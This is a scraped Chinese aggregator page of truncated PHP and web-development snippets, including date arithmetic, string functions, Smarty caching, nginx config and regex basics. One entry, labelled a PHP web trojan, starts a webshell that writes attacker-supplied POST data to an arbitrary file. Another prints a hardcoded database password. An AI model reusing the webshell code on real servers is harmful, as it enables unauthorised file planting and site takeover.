Time of Update: 2016-07-29
複製代碼 代碼如下://– 刪除一篇文章產生的多個靜態頁面 //– 產生的文章名為 5.html 5_2.html 5_3.html /*—————————————————— */ function delStaticHtml ($article_id) { global $db; $sql = “SELECT `post_time` FROM `@__article` WHERE `article_id` = ‘{$article_id}'”; $art = $db->getOne
Time of Update: 2016-07-29
複製代碼 代碼如下://mktime = mktime($hours,minute,seconds,month,day,years) $start_time = mktime(0,0,0,01,09,2010); //開始時間 $end_time = mktime(0,0,0,02,09,2010); //結束時間 $times = $end_time-$start_time; //開始與結束之間相差多少秒 $now_time = $times/(24*3600);
Time of Update: 2016-07-29
不過最近幾天突然糟糕了起來,有90%的攻擊已經沒法攔截,請看一天的統計: IP攻擊及開始時間攻擊次數地點備忘125.165.1.42--2010-11-19 02:02:19--/10印尼125.165.26.186--2010-11-19 16:56:45--/1846印尼151.51.238.254--2010-11-19 09:32:40--/4581意大利151.76.40.182--2010-11-19 11:58:37--/4763意大利 羅馬186.28.125.37--2010-
Time of Update: 2016-07-29
strip_tags() 函數剝去 HTML、XML 以及 PHP 的標籤。 複製代碼 代碼如下:world!”); ?> smarty中可以使用strip_tags去除html標籤,包括在之間的任何內容。 例如: index.php: 複製代碼 代碼如下:$smarty = new Smarty; $smarty->assign(‘articleTitle', “Blind Woman Gets New Kidney from Dad she Hasn't Seen in years.”);
Time of Update: 2016-07-29
複製代碼 代碼如下:function makeClickableLinks($text) { $text = eregi_replace('(((f|ht){1}tp://)[-a-zA-Z0-9@:%_+.~#?&//=]+)', '\1', $text); $text = eregi_replace('([[:space:]()[{}])(www.[-a-zA-Z0-9@:%_+.~#?&//=]+)','\1\2', $text); $text = eregi_replace('([_.0
Time of Update: 2016-07-29
複製代碼 代碼如下://分庫分表演算法 function calc_hash_db($u, $s = 4) { $h = sprintf("%u", crc32($u)); $h1 = intval(fmod($h, $s)); return $h1; } for($i=1;$i{ echo calc_hash_db($i); echo ""; } function calc_hash_tbl($u, $n = 256, $m = 16) { $h = sprintf("%u", crc32($
Time of Update: 2016-07-29
重複器控制項不具備內建的呈現功能,這表示使用者必須通過建立模板為 重複器控制項提供布局。當該頁運行時,重複器控制項依次通過資料來源中的記錄為每個記錄呈現一個項。 他很簡單,用起來也不夠強大,但是應了那句老話,殺雞焉用牛刀,不用牛刀那用什麼呢?難道我們去把雞咬死不成?而我們在日常應用中也常常面臨這樣的選擇,假設我們顯示教複雜的資料,可以用gridview,一般複雜的用DataList,那麼簡單的資料呈現呢?我們就用Repeater了,因為他簡單,小巧,最主要是靈活.
Time of Update: 2016-07-29
複製代碼 代碼如下:{ global $expert_id; $PageLength = 2000; //每頁字數 $CLength = strlen($content); $PageCount = floor(($CLength / $PageLength)) + 1; //計算頁數 $PageArray=array(); $Seperator = array("\n","\r","。","!","?",";",",","”","'"); //分隔字元號 //echo
Time of Update: 2016-07-29
定義和用法trim() 函數從字串的兩端刪除空白字元和其他預定義字元。 文法trim(string,charlist)參數 描述 string 必需。規定要檢查的字串。 charlist 可選。規定要轉換的字串。如果省略該參數,則刪除以下所有字元: 複製代碼 代碼如下:"\0" - NULL "\t" - tab "\n" - new line "\x0B" - 縱向列表符 "\r" - 斷行符號 " " - 普通空白字元 例子1複製代碼 代碼如下:$str = "
Time of Update: 2016-07-29
php網頁木馬複製代碼 代碼如下:header("content-Type: text/html; charset=gb2312"); if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v); ?> 儲存檔案名稱: "> if(isset($_POST['file'])) { $fp = @fopen($_POST['file'],'wb'); echo
Time of Update: 2016-07-29
1. 格式location ~ /query { default_type application/json; return 200 '{"res":{"code":"0","message":"","value":"$value"}}'; }2. default_type application/json;表示返回的json格式,否則瀏覽器開啟是是個檔案3.如果需要根據請求參數返回不同值,可以考慮使用map,
Time of Update: 2016-07-29
先從字面意思上理解,None-Thread Safe就是非安全執行緒,在執行時不進行線程(thread)安全檢查;Thread Safe就是安全執行緒,執行時會進行線程(thread)安全檢查,以防止有新要求就啟動新線程的 CGI 執行方式耗盡系統資源。 再來看PHP的兩種執行方式:ISAPI和FastCGI。FastCGI執行方式是以單一線程來執行操作,所以不需要進行線程的安全檢查,除去安全執行緒檢查的防護反而可以提高執行效率,所以,如果是以 FastCGI(無論搭配 IIS 6 或 IIS
Time of Update: 2016-07-29
php的header來定義一個php頁面為utf編碼或GBK編碼 php頁面為utf編碼header("Content-type: text/html; charset=utf-8"); php頁面為gbk編碼header("Content-type: text/html; charset=gb2312"); php頁面為big5編碼header("Content-type: text/html; charset=big5"); 通常情況以上代碼放在php頁面的首頁
Time of Update: 2016-07-29
複製代碼 代碼如下:$hostname_conn = "localhost"; $database_conn = "test"; $username_conn = "root"; $password_conn = "1981427"; $conn = mysql_connect($hostname_conn, $username_conn, $password_conn); ?>複製代碼 代碼如下://該函數用於將一般字串轉換成SQL語句所需要的格式 function
Time of Update: 2016-07-29
1、如果能將類的方法定義成static,就盡量定義成static,它的速度會提升將近4倍。 2、$row[’id’] 的速度是$row[id]的7倍。 3、echo 比 print 快,並且使用echo的多重參數(譯註:指用逗號而不是句點)代替字串串連,比如echo
Time of Update: 2016-07-29
▓ 套件簡介 PEAR最重要的就是擁有許多的程式庫可供開發人員免費引用,這些程式庫會被包裹成套件,而且每個套件中都會放入一個名為package.xml的檔案.這是PEAR團隊的規定,這個檔案紀錄著程式庫的檔案架構,版本編號等資料,有了這個檔案,程式庫壓縮後才有資格稱為「套件」,也因為有了這個xml檔,PEAR所提供的「套件管理指令」就可以很簡單地管理程式庫,例如:可以用指令來安裝套件、刪除套件、觀看套件資訊或套件升級等。
Time of Update: 2016-07-29
1,Smarty緩衝的配置: $smarty->cache-dir="目錄名"; //建立緩衝目錄名 $smarty->caching=true; //開啟緩衝,為false的時候快取無效判定 $smarty->cache_lifetime=60; //緩衝時間,單位是秒 2,Smarty緩衝的使用與清除 $marty->display("cache.tpl",cache_id); //建立帶ID的緩衝 $marty->clear_all_cache(); //清楚所有緩衝
Time of Update: 2016-07-29
1.什麼是Zend Guard? Zend Guard是PHP市場上第一個保護PHP智慧財產權的代碼加密解決方案和電子許可管理方案。Zend Guard通過原始代碼加密以及限制分發沒有授權的軟體來實現軟體的最大化收益。 2.Zend Guard的系統需求 支援的作業系統: Linux x86 Windows x86 2000 / XP / 2003 / Vista (僅支援32位) Mac OS X 10.4, 10.5 支援的PHP版本: 4.2.x 到5.2.x 3.Zend
Time of Update: 2016-07-29
前些天看了一個老外寫的程式,在 MySQL 查詢中使用了很多 Limit 關鍵字,這就讓我高度興趣了,因為在我印象中, Limit 關鍵字似乎更多被使用 MySQL 資料庫的程式員用來做查詢分頁(當然這也是一種很好的查詢最佳化),那在這裡舉個例子,假設我們需要一個分頁的查詢 ,Oracle中一般來說都是用以下 SQL 句子實現: SELECT * FROM ( SELECT a1.*, rownum rownum_ FROM testtable a1 WHERE rownum > 20)
Time of Update: 2016-07-29
Regex定義了一個字串的規則。最簡單的Regex不包含任何保留字。例如,Regexhello只和字串“hello”匹配。 一般的Regex使用了某些特殊的結構,所以它能匹配更多的字串。例如,Regexhello|word既能匹配字串“hello”也能匹配字串 “word”。舉一個更複雜一點的例子,Regexb[an]*s可以匹配字串“bananas”、“baaaaas” 、“bs”以及其他任何以b開頭以s結尾的字串,中間可以包括任意個a和任意個n的組合。